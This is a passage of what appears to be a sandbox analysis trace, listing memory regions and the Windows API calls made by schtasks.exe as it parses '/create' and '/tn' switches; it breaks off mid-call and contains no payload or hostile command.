(normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3564 start_va = 0x1769e8c0000 end_va = 0x1769e8c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e8c0000" filename = "" Region: id = 3565 start_va = 0x1769e8d0000 end_va = 0x1769e8e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3566 start_va = 0x1769eaf0000 end_va = 0x1769ee26fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3567 start_va = 0x1769ee30000 end_va = 0x1769ef0cfff monitored = 0 entry_point = 0x1769ee8e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3568 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3569 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3570 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3571 start_va = 0x1769ea10000 end_va = 0x1769ea48fff monitored = 0 entry_point = 0x1769ea112f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3572 start_va = 0x1769eae0000 end_va = 0x1769eaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769eae0000" filename = "" Region: id = 3573 start_va = 0x1769ee30000 end_va = 0x1769efb7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769ee30000" filename = "" Region: id = 3574 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3575 start_va = 0x1769e8f0000 end_va = 0x1769e8f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e8f0000" filename = "" Region: id = 3576 start_va = 0x1769e900000 end_va = 0x1769e900fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001769e900000" filename = "" Region: id = 3577 start_va = 0x1769efc0000 end_va = 0x1769f140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769efc0000" filename = "" Region: id = 3578 start_va = 0x1769f150000 end_va = 0x176a054ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769f150000" filename = "" Region: id = 3579 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3580 start_va = 0x1769ea10000 end_va = 0x1769ea10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769ea10000" filename = "" Region: id = 3581 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3582 start_va = 0x1769ea20000 end_va = 0x1769ea20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001769ea20000" filename = "" Region: id = 3583 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3584 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3585 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 180 os_tid = 0xa94 [0126.607] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0126.607] __set_app_type (_Type=0x1) [0126.607] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0126.607] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0126.608] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0126.608] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0126.608] CsrIdentifyAlertableThread () returned 0x0 [0126.608] GetProcessHeap () returned 0x1769e910000 [0126.608] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914e90 [0126.608] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.609] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0126.609] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0126.609] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0126.609] RtlVerifyVersionInfo (VersionInfo=0x476069f3e0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0126.609] GetProcessHeap () returned 0x1769e910000 [0126.609] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914eb0 [0126.609] lstrlenW (lpString="") returned 0 [0126.609] GetProcessHeap () returned 0x1769e910000 [0126.609] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x2) returned 0x1769e914ed0 [0126.609] GetProcessHeap () returned 0x1769e910000 [0126.609] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e914840 [0126.609] GetProcessHeap () returned 0x1769e910000 [0126.609] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914870 [0126.609] GetProcessHeap () returned 0x1769e910000 [0126.609] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e914890 [0126.609] GetProcessHeap () returned 0x1769e910000 [0126.609] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e9148c0 [0126.609] GetProcessHeap () returned 0x1769e910000 [0126.609] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e914430 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e919170 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914460 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918f60 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e919110 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918f00 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918e70 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914480 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e919050 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e9191a0 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.610] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e919080 [0126.610] GetProcessHeap () returned 0x1769e910000 [0126.611] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e9190b0 [0126.611] SetThreadUILanguage (LangId=0x0) returned 0x409 [0126.612] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.612] GetProcessHeap () returned 0x1769e910000 [0126.613] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e919140 [0126.613] GetProcessHeap () returned 0x1769e910000 [0126.613] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918ea0 [0126.613] GetProcessHeap () returned 0x1769e910000 [0126.613] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918ed0 [0126.613] GetProcessHeap () returned 0x1769e910000 [0126.613] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918f30 [0126.613] GetProcessHeap () returned 0x1769e910000 [0126.613] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918f90 [0126.613] GetProcessHeap () returned 0x1769e910000 [0126.613] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914c30 [0126.613] _memicmp (_Buf1=0x1769e914c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.613] GetProcessHeap () returned 0x1769e910000 [0126.613] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x208) returned 0x1769e919b10 [0126.613] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1769e919b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0126.613] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x476069f538 | out: lpdwHandle=0x476069f538) returned 0x76c [0126.665] GetProcessHeap () returned 0x1769e910000 [0126.665] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x776) returned 0x1769e91a870 [0126.665] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1769e91a870 | out: lpData=0x1769e91a870) returned 1 [0126.665] VerQueryValueW (in: pBlock=0x1769e91a870, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x476069f4d0, puLen=0x476069f530 | out: lplpBuffer=0x476069f4d0*=0x1769e91ac20, puLen=0x476069f530) returned 1 [0126.668] _memicmp (_Buf1=0x1769e914c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.669] _vsnwprintf (in: _Buffer=0x1769e919b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x476069f4a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0126.669] VerQueryValueW (in: pBlock=0x1769e91a870, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x476069f4c0, puLen=0x476069f528 | out: lplpBuffer=0x476069f4c0*=0x1769e91aa50, puLen=0x476069f528) returned 1 [0126.669] lstrlenW (lpString="schtasks.exe") returned 12 [0126.669] lstrlenW (lpString="schtasks.exe") returned 12 [0126.669] lstrlenW (lpString=".EXE") returned 4 [0126.669] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0126.670] lstrlenW (lpString="schtasks.exe") returned 12 [0126.670] lstrlenW (lpString=".EXE") returned 4 [0126.670] _memicmp (_Buf1=0x1769e914c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.670] lstrlenW (lpString="schtasks") returned 8 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e918ff0 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e919020 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b530 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b8f0 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914c50 [0126.670] _memicmp (_Buf1=0x1769e914c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xa0) returned 0x1769e913870 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b8c0 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b7d0 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b860 [0126.670] GetProcessHeap () returned 0x1769e910000 [0126.670] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914c70 [0126.670] _memicmp (_Buf1=0x1769e914c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.671] GetProcessHeap () returned 0x1769e910000 [0126.671] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x200) returned 0x1769e91bb40 [0126.671] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1769e91bb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0126.671] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0126.671] GetProcessHeap () returned 0x1769e910000 [0126.671] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x30) returned 0x1769e913920 [0126.671] _vsnwprintf (in: _Buffer=0x1769e913870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x476069f4a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0126.671] GetProcessHeap () returned 0x1769e910000 [0126.671] GetProcessHeap () returned 0x1769e910000 [0126.671] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a870) returned 1 [0126.671] GetProcessHeap () returned 0x1769e910000 [0126.671] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a870) returned 0x776 [0126.672] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a870) returned 1 [0126.672] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.672] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="?") returned 1 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="create") returned 6 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="delete") returned 6 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="query") returned 5 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="change") returned 6 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="run") returned 3 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="end") returned 3 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] lstrlenW (lpString="showsid") returned 7 [0126.673] GetThreadLocale () returned 0x409 [0126.673] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0126.673] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.673] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.673] lstrlenW (lpString="/create") returned 7 [0126.673] lstrlenW (lpString="-/") returned 2 [0126.673] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.673] lstrlenW (lpString="?") returned 1 [0126.674] lstrlenW (lpString="?") returned 1 [0126.674] GetProcessHeap () returned 0x1769e910000 [0126.674] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914350 [0126.674] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.674] GetProcessHeap () returned 0x1769e910000 [0126.674] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xa) returned 0x1769e914370 [0126.674] lstrlenW (lpString="create") returned 6 [0126.674] GetProcessHeap () returned 0x1769e910000 [0126.674] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x18) returned 0x1769e914390 [0126.674] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.674] GetProcessHeap () returned 0x1769e910000 [0126.674] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x14) returned 0x1769e9143b0 [0126.674] _vsnwprintf (in: _Buffer=0x1769e914370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|?|") returned 3 [0126.674] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.674] lstrlenW (lpString="|?|") returned 3 [0126.674] lstrlenW (lpString="|create|") returned 8 [0126.674] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.674] lstrlenW (lpString="create") returned 6 [0126.674] lstrlenW (lpString="create") returned 6 [0126.674] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.674] GetProcessHeap () returned 0x1769e910000 [0126.674] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914370) returned 1 [0126.674] GetProcessHeap () returned 0x1769e910000 [0126.674] RtlReAllocateHeap (Heap=0x1769e910000, Flags=0xc, Ptr=0x1769e914370, Size=0x14) returned 0x1769e9146c0 [0126.674] lstrlenW (lpString="create") returned 6 [0126.674] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.674] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.674] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.674] lstrlenW (lpString="|create|") returned 8 [0126.675] lstrlenW (lpString="|create|") returned 8 [0126.675] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0126.675] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.675] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.675] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.675] lstrlenW (lpString="/tn") returned 3 [0126.675] lstrlenW (lpString="-/") returned 2 [0126.675] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.675] lstrlenW (lpString="?") returned 1 [0126.675] lstrlenW (lpString="?") returned 1 [0126.675] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.675] lstrlenW (lpString="tn") returned 2 [0126.675] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.675] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|?|") returned 3 [0126.675] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.675] lstrlenW (lpString="|?|") returned 3 [0126.675] lstrlenW (lpString="|tn|") returned 4 [0126.675] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.675] lstrlenW (lpString="create") returned 6 [0126.675] lstrlenW (lpString="create") returned 6 [0126.675] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.675] lstrlenW (lpString="tn") returned 2 [0126.675] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.675] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.675] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.675] lstrlenW (lpString="|create|") returned 8 [0126.675] lstrlenW (lpString="|tn|") returned 4 [0126.675] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0126.676] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.676] lstrlenW (lpString="delete") returned 6 [0126.676] lstrlenW (lpString="delete") returned 6 [0126.676] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.676] lstrlenW (lpString="tn") returned 2 [0126.676] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.676] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|delete|") returned 8 [0126.676] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.676] lstrlenW (lpString="|delete|") returned 8 [0126.676] lstrlenW (lpString="|tn|") returned 4 [0126.676] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0126.676] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.676] lstrlenW (lpString="query") returned 5 [0126.676] lstrlenW (lpString="query") returned 5 [0126.676] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.676] lstrlenW (lpString="tn") returned 2 [0126.676] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.676] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|query|") returned 7 [0126.676] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.676] lstrlenW (lpString="|query|") returned 7 [0126.676] lstrlenW (lpString="|tn|") returned 4 [0126.676] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0126.676] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.676] lstrlenW (lpString="change") returned 6 [0126.676] lstrlenW (lpString="change") returned 6 [0126.676] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.676] lstrlenW (lpString="tn") returned 2 [0126.676] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.677] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|change|") returned 8 [0126.677] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.677] lstrlenW (lpString="|change|") returned 8 [0126.677] lstrlenW (lpString="|tn|") returned 4 [0126.677] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0126.677] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.677] lstrlenW (lpString="run") returned 3 [0126.677] lstrlenW (lpString="run") returned 3 [0126.677] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.677] lstrlenW (lpString="tn") returned 2 [0126.677] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.677] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|run|") returned 5 [0126.677] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.677] lstrlenW (lpString="|run|") returned 5 [0126.677] lstrlenW (lpString="|tn|") returned 4 [0126.677] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0126.677] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.677] lstrlenW (lpString="end") returned 3 [0126.677] lstrlenW (lpString="end") returned 3 [0126.677] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.677] lstrlenW (lpString="tn") returned 2 [0126.677] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.677] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|end|") returned 5 [0126.677] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.677] lstrlenW (lpString="|end|") returned 5 [0126.677] lstrlenW (lpString="|tn|") returned 4 [0126.677] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] lstrlenW (lpString="showsid") returned 7 [0126.678] lstrlenW (lpString="showsid") returned 7 [0126.678] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.678] GetProcessHeap () returned 0x1769e910000 [0126.678] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9146c0) returned 1 [0126.678] GetProcessHeap () returned 0x1769e910000 [0126.678] RtlReAllocateHeap (Heap=0x1769e910000, Flags=0xc, Ptr=0x1769e9146c0, Size=0x16) returned 0x1769e9146c0 [0126.678] lstrlenW (lpString="tn") returned 2 [0126.678] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.678] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0xa, _Format="|%s|", 